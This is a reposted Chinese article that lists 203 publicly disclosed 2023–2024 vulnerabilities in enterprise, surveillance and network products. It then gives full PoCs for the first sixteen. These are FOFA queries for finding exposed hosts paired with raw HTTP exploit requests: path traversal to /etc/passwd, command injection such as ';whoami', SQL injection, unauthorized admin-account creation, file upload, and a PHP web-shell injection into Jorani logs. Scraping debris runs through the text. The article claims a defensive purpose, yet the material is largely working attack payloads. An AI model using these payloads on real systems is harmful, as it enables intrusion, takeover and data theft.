互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
& @9 }: Z: d$ \/ I道一安全 2024-06-05 07:41 北京
以下文章来源于网络安全新视界 ，作者网络安全新视界
& I% \3 X9 H, U9 k. r" k
3 \* @9 A( j1 Y* y9 e发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。
: S" v; y8 z2 M2 t& f
漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。
. H' p2 R+ D9 ^7 c  U5 H& S  I7 {
& R2 R- a; N# T/ K安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。

文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。
7 K; T4 d+ I# A6 l
合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。


' O, _% e) f* I声明

为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。
7 n' R" h+ N$ G; R# \
, r7 E; H9 p# o% X* L2 k. q. }1 ]有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。
/ w( q6 M" n, z  q& y


目录
! J  D8 C  p$ U: z( M3 k0 A
01
' ?: @- J, \1 i( C4 a* `% {
+ f% A; E) E7 P- l% G9 i) P1 u1. StarRocks MPP数据库未授权访问
2. Casdoor系统static任意文件读取
# f2 j8 j& T1 q" W7 y3. EasyCVR智能边缘网关 userlist 信息泄漏
4. EasyCVR视频管理平台存在任意用户添加
5. NUUO NVR 视频存储管理设备远程命令执行
2 m( X4 t. M+ y; c# e; u* [1 N7 o+ L6. 深信服 NGAF 任意文件读取
7. 鸿运主动安全监控云平台任意文件下载
8. 斐讯 Phicomm 路由器RCE
9. 稻壳CMS keyword 未授权SQL注入
) f1 j- h4 w5 j" s# C2 T0 Q10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
0 T1 k: H; p- X11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
# @  b# O- G- H! u( L9 h# b12. Jorani < 1.0.2 远程命令执行
13. 红帆iOffice ioFileDown任意文件读取
* \9 B" z9 F" F6 P4 V4 R  a4 ^14. 华夏ERP（jshERP）敏感信息泄露
15. 华夏ERP getAllList信息泄露
16. 红帆HFOffice医微云SQL注入
17. 大华 DSS itcBulletin SQL 注入
8 ~9 T: q& a1 E/ k( _7 O; ]18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
9 E! ]+ ~6 \5 B" b! E+ b20. 大华ICC智能物联综合管理平台任意文件读取
. P0 j6 X! c7 h9 r21. 大华ICC智能物联综合管理平台random远程代码执行
( ]+ V9 [$ m) g. S0 s22. 大华ICC智能物联综合管理平台 log4j远程代码执行
23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
, i8 x" N% e* c, W24. 用友NC 6.5 accept.jsp任意文件上传
3 v  p' s, S$ ?0 }% j* z25. 用友NC registerServlet JNDI 远程代码执行
26. 用友NC linkVoucher SQL注入
27. 用友 NC showcontent SQL注入
28. 用友NC grouptemplet 任意文件上传
& `4 j. Z9 Y' W  F29. 用友NC down/bill SQL注入
30. 用友NC importPml SQL注入
31. 用友NC runStateServlet SQL注入
* f5 q2 r+ |7 ]0 s( {& S* f- V% ~32. 用友NC complainbilldetail SQL注入
0 b7 d4 O3 W- O7 D- c/ [) W  S33. 用友NC downTax/download SQL注入
34. 用友NC warningDetailInfo接口SQL注入
' R  t$ @% A3 n8 v# L" c35. 用友NC-Cloud importhttpscer任意文件上传
36. 用友NC-Cloud soapFormat XXE
37. 用友NC-Cloud IUpdateService XXE
38. 用友U8 Cloud smartweb2.RPC.d XXE
39. 用友U8 Cloud RegisterServlet SQL注入
40. 用友U8-Cloud XChangeServlet XXE
41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
+ S0 {6 ~- U. O  Y1 }2 Z2 u4 |, ^: i42. 用友GRP-U8 SmartUpload01 文件上传
43. 用友GRP-U8 userInfoWeb SQL注入致RCE
) h$ e5 S8 |9 E44. 用友GRP-U8 bx_dj_check.jsp SQL注入
% I  Q! |' q) _6 V" Z45. 用友GRP-U8 ufgovbank XXE
46. 用友GRP-U8 sqcxIndex.jsp SQL注入
47. 用友GRP A++Cloud 政府财务云 任意文件读取
( y$ o# z8 ^6 C$ _48. 用友U8 CRM swfupload 任意文件上传
. c7 @. q4 }. Y( y% p49. 用友U8 CRM系统uploadfile.php接口任意文件上传
50. QDocs Smart School 6.4.1 filterRecords SQL注入
51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
4 u  Y8 t' [8 M% M8 E2 ?52. 泛微E-Office json_common.php sql注入
53. 迪普 DPTech VPN Service 任意文件上传
% X9 [! E( A! l54. 畅捷通T+ getstorewarehousebystore 远程代码执行
# r5 u8 b' h" L8 X4 g55. 畅捷通T+ getdecallusers信息泄露
56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
# w/ \$ z3 h& X; Q( ~$ p57. 畅捷通T+ keyEdit.aspx SQL注入
58. 畅捷通T+ KeyInfoList.aspx sql注入
59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
60. 百卓Smart管理平台 importexport.php SQL注入
+ W9 \3 ]5 k  f6 \6 Y* o  I61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
( a& W$ Y  l# k( i( x62. IP-guard WebServer 远程命令执行
6 n4 n" V4 ^% S. E63. IP-guard WebServer任意文件读取
64. 捷诚管理信息系统CWSFinanceCommon SQL注入
65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
. G- z! A" X6 V# s; S& \- j66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
67. 万户ezOFFICE wpsservlet任意文件上传
68. 万户ezOFFICE wf_printnum.jsp SQL注入
69. 万户 ezOFFICE contract_gd.jsp SQL注入
. ^6 W* v6 U, I. e8 n) A70. 万户ezEIP success 命令执行
+ w# p0 B# U( S/ H( h9 A: N0 e71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
. G: W. I  a8 m# h( B, Q7 z# B# G72. 致远OA getAjaxDataServlet XXE
$ n7 @, W. A/ `5 l$ t73. GeoServer wms远程代码执行
6 [% w7 ^3 D4 v) m1 i4 O: ^5 n2 ^# X74. 致远M3-server 6_1sp1 反序列化RCE
' I8 Y: w2 X( j75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
+ Q, A6 c( x9 `0 \- d  `76. 新开普掌上校园服务管理平台service.action远程命令执行
77. F22服装管理软件系统UploadHandler.ashx任意文件上传
78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
79. BYTEVALUE 百为流控路由器远程命令执行
80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
6 M3 l/ w6 k+ K- v* Z( F/ x82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
3 e1 I# b' z+ ]0 i$ a9 ^83. JeecgBoot testConnection 远程命令执行
84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
- J3 m- U; O! i85. SysAid On-premise< 23.3.36远程代码执行
86. 日本tosei自助洗衣机RCE
87. 安恒明御安全网关aaa_local_web_preview文件上传
88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
89. 致远互联FE协作办公平台editflow_manager存在sql注入
; H1 J* f; n/ B0 g) M/ I0 B90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
92. 海康威视运行管理中心session命令执行
, w$ u) ^- ?) u5 E7 K; z93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
5 Z1 \# {5 w. [% A, m$ Y95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
% N8 a# P2 q3 e96. Apache OFBiz  18.12.11 groovy 远程代码执行
97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
98. SpiderFlow爬虫平台远程命令执行
; v3 E; _% T. F" f2 W, D% e99. Ncast盈可视高清智能录播系统busiFacade RCE
100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
* z. I! g8 T) g101. ivanti policy secure-22.6命令注入
102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
103. Ivanti Pulse Connect Secure VPN XXE
- ~# a* G& G+ {" z104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
105. SpringBlade v3.2.0 export-user SQL 注入
106. SpringBlade dict-biz/list SQL 注入
% l: o, n0 v& u: p107. SpringBlade tenant/list SQL 注入
- c+ w8 f' e0 I6 ?108. D-Tale 3.9.0 SSRF
5 X7 T. Q! f8 e109. Jenkins CLI 任意文件读取
110. Goanywhere MFT 未授权创建管理员
111. WordPress Plugin HTML5 Video Player SQL注入
" y) f9 \( B: }5 o. j- V- O112. WordPress Plugin NotificationX SQL 注入
113. WordPress Automatic 插件任意文件下载和SSRF
. B1 T+ W; _' {114. WordPress MasterStudy LMS插件 SQL注入
7 a; @( n) V* E: p, z& f! E+ n115. WordPress Bricks Builder <= 1.9.6 RCE
116. wordpress js-support-ticket文件上传
2 ]4 H8 g4 _, V: J% O; F& b  |117. WordPress LayerSlider插件SQL注入
118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
119. 北京百绰智能S20后台sysmanageajax.php sql注入
9 M; y2 ]& u* w4 S; P! T5 i120. 北京百绰智能S40管理平台导入web.php任意文件上传
121. 北京百绰智能S42管理平台userattestation.php任意文件上传
  u; R/ e' i3 t2 }122. 北京百绰智能s200管理平台/importexport.php sql注入
1 P" W6 ?8 a) H2 h/ P8 {, |6 w# G123. Atlassian Confluence 模板注入代码执行
/ T: c0 T* \% A& ~2 |/ O3 D124. 湖南建研工程质量检测系统任意文件上传
125. ConnectWise ScreenConnect身份验证绕过
6 C" K6 X( i7 G0 L1 D126. Aiohttp 路径遍历
127. 广联达Linkworks DataExchange.ashx XXE
# n" q* g. |1 k5 y7 U* D! A128. Adobe ColdFusion 反序列化
129. Adobe ColdFusion 任意文件读取
4 q: Q% V4 j% y% V130. Laykefu客服系统任意文件上传
3 I+ G8 I- e( ]9 I  ~. @/ ^% o7 O. |$ I131. Mini-Tmall <=20231017 SQL注入
132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
133. H5 云商城 file.php 文件上传
134. 网康NS-ASG应用安全网关index.php sql注入
135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
0 N' [8 [; j. Q: R136. NextChat cors SSRF
. t0 d: d6 ?& E/ K' {/ c137. 福建科立迅通信指挥调度平台down_file.php sql注入
. F+ G3 A7 V, `$ b  J% L138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
139. 福建科立讯通信指挥调度平台editemedia.php sql注入
: d8 @% {' S& W8 G$ ^6 j1 }140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
* [/ X! s" |3 N" }+ i0 R5 V' {: B141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
# o7 j4 H- [1 D2 g) W. q142. CMSV6车辆监控平台系统中存在弱密码
143. Netis WF2780 v2.1.40144 远程命令执行
144. D-Link nas_sharing.cgi 命令注入
, @6 _* x2 y: H# `2 O7 }) h7 g145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
: k4 ^( H' h2 u) f7 D1 a: E/ a146. MajorDoMo thumb.php 未授权远程代码执行
147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
# f; ?4 A! v2 M  b5 ~/ g148. CrushFTP 认证绕过模板注入
149. AJ-Report开源数据大屏存在远程命令执行
& B4 K  l2 D$ C) s' I* T0 L4 z150. AJ-Report 1.4.0 认证绕过与远程代码执行
, H$ B, a1 q5 M! v" j% l8 j# {151. AJ-Report 1.4.1 pageList sql注入
152. Progress Kemp LoadMaster 远程命令执行
153. gradio任意文件读取
154. 天维尔消防救援作战调度平台 SQL注入
155. 六零导航页 file.php 任意文件上传
156. TBK DVR-4104/DVR-4216 操作系统命令注入
+ K' k2 L# r, i6 ^& Y0 p4 D& _157. 美特CRM upload.jsp 任意文件上传
) \9 M0 G' E( }7 N8 d0 w' g158. Mura-CMS-processAsyncObject存在SQL注入
' S. h" G9 f# D" c; x: a2 K7 ^) |159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
: y' g0 ^8 I0 R0 D' x. _4 N160. Sonatype Nexus Repository 3目录遍历与文件读取
2 E  o" Q( l* u- G% \/ n8 b161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
( Y! ~$ x& Y4 s5 `3 a2 o2 k; Z8 P! I162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
% ^( h' V' {" B163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
0 Q: T7 a* A0 ], p. a( u. I164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
* B3 ], }9 l2 V165. OrangeHRM 3.3.3 SQL 注入
% Z8 B1 }1 R) g166. 中成科信票务管理平台SeatMapHandler SQL注入
167. 精益价值管理系统 DownLoad.aspx任意文件读取
168. 宏景EHR OutputCode 任意文件读取
169. 宏景EHR downlawbase SQL注入
170. 宏景EHR DisplayExcelCustomReport 任意文件读取
' }7 }8 W1 {* ]" d- R171. 通天星CMSV6车载定位监控平台 SQL注入
: C4 P$ Z. c) g172. DT-高清车牌识别摄像机任意文件读取
173. Check Point 安全网关任意文件读取
( t7 c* I3 S( R) u174. 金和OA C6 FileDownLoad.aspx 任意文件读取
175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
) U: X- J# }. ^1 m176. 电信网关配置管理系统 rewrite.php 文件上传
177. H3C路由器敏感信息泄露
178. H3C校园网自助服务系统-flexfileupload-任意文件上传
179. 建文工程管理系统存在任意文件读取
& y2 }- o9 L9 ?180. 帮管客 CRM jiliyu SQL注入
7 o! u, I- L. i181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
! g! U2 V: A( i# _; v* V. z1 U182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
, Z# E( Y5 j3 {/ ]* p2 Y183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
8 T9 T3 Q1 S- c3 S, K& X+ u/ s' I184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
185. 瑞友天翼应用虚拟化系统SQL注入
. m6 Q: _$ R+ h& V. w: D186. F-logic DataCube3 SQL注入
187. Mura CMS processAsyncObject SQL注入
188. 叁体-佳会视频会议 attachment 任意文件读取
189. 蓝网科技临床浏览系统 deleteStudy SQL注入
190. 短视频矩阵营销系统 poihuoqu 任意文件读取
! k  ?" n/ F3 f6 e0 t* C191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
- w& }! }  W5 j5 L6 r4 n' R& C192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
196. 河南省风速科技统一认证平台密码重置
4 u# S4 e* A" z# Q! T6 m197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
0 J8 p* ~& S  Z0 Z198.  阿里云盘 WebDAV 命令注入
199. cockpit系统assetsmanager_upload接口 文件上传
200. SeaCMS海洋影视管理系统dmku SQL注入
201. 方正全媒体新闻采编系统 binary SQL注入
202. 微擎系统 AccountEdit任意文件上传
203. 红海云EHR PtFjk 文件上传

! k* Z# x& G4 `  w* pPOC列表
9 y' r+ s6 H, m4 d% ^+ v
4 Y0 V) I/ Y$ W. b8 H+ M02

1. StarRocks MPP数据库未授权访问
FOFA ：title="StarRocks"
5 x2 ?9 c/ `1 y: L5 AGET /mem_tracker HTTP/1.1
Host: URL


- R# [% t( U/ p% X* L. [! b2. Casdoor系统static任意文件读取
. ^7 E8 p, j) R( AFOFA ：title="Casdoor"
GET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
* @; }& [+ F: C5 U6 \, v  EHost: xx.xx.xx.xx:9999
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
$ ~1 d3 j" A$ u) F8 MConnection: close
Accept: */*
# ^( I* y( x+ V, g# jAccept-Language: en
Accept-Encoding: gzip

7 X( T8 N  }( Q. g% v1 ]
3. EasyCVR智能边缘网关 userlist 信息泄漏
FOFA ：title="EasyCVR"
: x' v+ E$ m& e: LGET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
  B5 l) C5 a8 b. lHost: xx.xx.xx.xx


4. EasyCVR视频管理平台存在任意用户添加
- j- \1 F+ p8 jFOFA ：title="EasyCVR"

8 _6 ?+ V# S! @& P6 n0 ?password更改为自己的密码md5
" j: d6 y: p' y$ X% `- o0 BPOST /api/v1/adduser HTTP/1.1
Host: your-ip
! P) }2 x0 ]; S" N" k4 |$ oContent-Type: application/x-www-form-urlencoded; charset=UTF-8
( V; z; s( W/ V% b0 L" X
name=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1


" A& U+ o7 P1 E" t5. NUUO NVR 视频存储管理设备远程命令执行
FOFA：title="Network Video Recorder Login"
GET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
Host: xx.xx.xx.xx

0 ?7 T7 z3 A: w
7 L$ h, O: ?. W2 L  ?6. 深信服 NGAF 任意文件读取
4 A  {; ^5 |- d8 T. e& yFOFA：title="SANGFOR | NGAF"
& ^( T- m& D% |# C, G& p+ BGET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
1 q4 e' M0 G" K7 r0 h0 THost:
7 L3 c: T2 X# p% J) b
* E' _, R0 S6 `. J( C8 I; @9 P
7. 鸿运主动安全监控云平台任意文件下载
FOFA：body="./open/webApi.html"
GET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
: e4 e- D  f& @; O- c: r9 s  p) THost:
# o. ]; h# ~8 `6 _1 N

% _2 K: L) p8 n6 N. G. B8. 斐讯 Phicomm 路由器RCE
1 F: T- R1 v: t% r/ m! i8 ]) ?FOFA：icon_hash="-1344736688"
, J1 Y% a/ D  ~3 [; {默认账号admin登录后台后，执行操作
POST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
Host: x.x.x.x
Cookie: sysauth=第一步登录获取的cookie
1 o8 a, ^/ F4 W, hContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
! _7 B' H) @' U* D3 q' @* lUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36

------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootEnablestatus"

%s
- r; \- c7 v0 ?2 S8 C------WebKitFormBoundaryxbgjoytz
" \0 o! W/ @& n: GContent-Disposition: form-data; name="wifiRebootrange"
$ h8 L: u  _7 b2 Q' ~8 `1 L
4 x9 A) J$ ?* w, R: d12:00; id;
------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootendrange"

%s:
------WebKitFormBoundaryxbgjoytz
- z$ L% L! K8 P- W+ I2 fContent-Disposition: form-data; name="cururl2"

' Q0 \" f* w6 @# n# ^/ ]
5 F: N% T- u: a" O1 T, B------WebKitFormBoundaryxbgjoytz--
6 M6 w3 j" a: Q, d% d

9. 稻壳CMS keyword 未授权SQL注入
( l! r% B! S- {$ z2 t5 _FOFA：app="Doccms"
GET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
& z" [+ C. E) a  z. JHost: x.x.x.x

$ y7 C7 Z4 _9 n1 ^4 I- z- d) O! W
payload为下列语句的二次Url编码

' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#

' L$ d4 r- W( n% s0 e6 W10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
3 l% |( K) s. p( ]% {, ~6 gFOFA：icon_hash="953405444"

文件上传后响应中包含上传文件的路径
2 r2 V9 x  F/ g# K/ dPOST /eis/service/api.aspx?action=saveImg HTTP/1.1
Host: x.x.x.x:xx
1 h# B, g9 p% r$ o5 k4 s6 mUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
$ {, m# _. w1 uContent-Length: 197
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
1 D1 C8 U1 f( |% N" CConnection: close
* ^; R6 a% x: R7 K4 O* S" v- NContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu
8 y& W( b( F& Q- c' T/ {- u
* ~& R$ W$ Y8 c) b2 p* P$ V+ g3 x------WebKitFormBoundaryxdgaqmqu
Content-Disposition: form-data; name="file"filename="icfitnya.txt"
Content-Type: text/html

- q- a5 X9 @( s7 R, _jmnqjfdsupxgfidopeixbgsxbf
8 x+ P% f- m% b- G5 g- ?2 A# b6 [1 g------WebKitFormBoundaryxdgaqmqu--
3 w( n4 y3 ?# m. j0 p0 b. ~' C9 {

1 ?9 @5 z  h9 g' F/ V3 E4 b11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
FOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
GET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
Host: 127.0.0.1
Pragma: no-cache
Cache-Control: no-cache
# V+ C9 x7 d$ m" XUpgrade-Insecure-Requests: 1
" R! t: l2 H3 _, x7 E" t2 ^  NUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
3 W3 ~$ n+ _( _! x1 ^8 sAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
/ i5 O- _+ j% dAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

" M0 W( B2 T! H1 _; K# P! T0 c1 Q
12. Jorani < 1.0.2 远程命令执行
3 x" g2 }  j$ ~FOFA：title="Jorani"
第一步先拿到cookie
GET /session/login HTTP/1.1
Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
+ k! y3 [! B! t5 OAccept-Encoding: gzip


/ @' C/ y5 l0 H) ?- q6 c响应中csrf_cookie_jorani用于后续请求
HTTP/1.1 200 OK
8 S7 U6 T4 T- F3 @6 N0 w* _Connection: close
1 t: T- U% q8 {Cache-Control: no-store, no-cache, must-revalidate
& B3 \! X/ b- u  `, bContent-Type: text/html; charset=UTF-8
Date: Tue, 24 Oct 2023 09:34:28 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Last-Modified: Tue, 24 Oct 2023 09:34:28 GMT
Pragma: no-cache
; c; f1 m) _. Y6 s' Z. h1 pServer: Apache/2.4.54 (Debian)
Set-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
" F% R' K. t( c+ {/ O- a* M/ mSet-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
Vary: Accept-Encoding


& r8 m1 @+ p, k6 Q2 QPOST请求，执行函数并进行base64编码
POST /session/login HTTP/1.1
Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
, |" {/ R- r" B' T% ~7 \Connection: close
9 A& m6 m& h1 ~Content-Length: 252
; e+ u- L$ c2 K/ c& k* s8 iContent-Type: application/x-www-form-urlencoded
7 f/ h$ \+ z% h  H# C4 T" |  YCookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
- E' q/ e3 p& t) }+ g" OAccept-Encoding: gzip

' \; T, ]# i+ H7 b! ~& L$ h! Kcsrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor
3 X. Z% ^" c: C- D  T! Q2 W( e# N5 P
9 E; [& f9 y& j
  T! a; I# Y" d; T) P' G. q0 w
! s# K* T6 o. Q向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
GET /pages/view/log-2023-10-24 HTTP/1.1
0 s7 I% z0 T8 p" Z1 k/ }! nHost: 192.168.190.30
/ N9 Z$ D/ O* i' [$ ~User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
! z; s9 w# s7 }  c0 k1 z0 PConnection: close
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
K1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
2 e2 g" N/ P9 @, qX-REQUESTED-WITH: XMLHttpRequest
# ]2 i, R. A: |- k" g2 gAccept-Encoding: gzip
0 z9 R5 z- _+ i4 K0 t

; D! }% D' y3 ?* c13. 红帆iOffice ioFileDown任意文件读取
% K0 d! m7 I2 m" B% X* ?FOFA：app="红帆-ioffice"
7 M0 B- u0 {+ @) ]) B& h* SGET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
5 q* o2 c9 B" a+ S- f. aHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Accept: */*
Accept-Encoding: gzip


. r, V1 y# P( T14. 华夏ERP（jshERP）敏感信息泄露
FOFA：body="jshERP-boot"
: T4 h* e+ U5 V7 P泄露内容包括用户名密码
GET /jshERP-boot/user/getAllList;.ico HTTP/1.1
' k8 K+ P" ]1 k# h) h, ~1 e; IHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
Accept: */*
: l) l: J# G( @1 d, }9 I% c" FAccept-Language: en
% a. ]9 c5 D* X# E6 K9 FAccept-Encoding: gzip
# S; E0 [: K, V/ \5 M. R
4 Z( t6 |3 b9 l. i7 ]
( @  V% ?) {# l5 b/ C% @/ w15. 华夏ERP getAllList信息泄露
CVE-2024-0490
FOFA：body="jshERP-boot"
泄露内容包括用户名密码
GET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
( M8 O1 I/ {6 I6 V- o# `; K6 y2 _Host: 192.168.40.130:100
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
6 ^4 r$ L- K1 oConnection: close
# H# U% ?0 u+ }& i2 X  V9 FAccept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Language: en
0 w1 ]" E, b6 ssec-ch-ua-platform: Windows
Accept-Encoding: gzip
; n+ j2 N; `1 O' @3 T* O0 J
$ V& ~  h0 X1 J! S: @
5 ?3 E  g( Y3 Z3 @& _" x0 }9 @16.  红帆HFOffice医微云SQL注入
3 V  }, p3 o2 B9 gFOFA：title="HFOffice"
2 p1 ~% r" v: Fpoc中调用函数计算1234的md5值
( X4 `& D% y! b2 D4 w% qGET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
Host: x.x.x.x
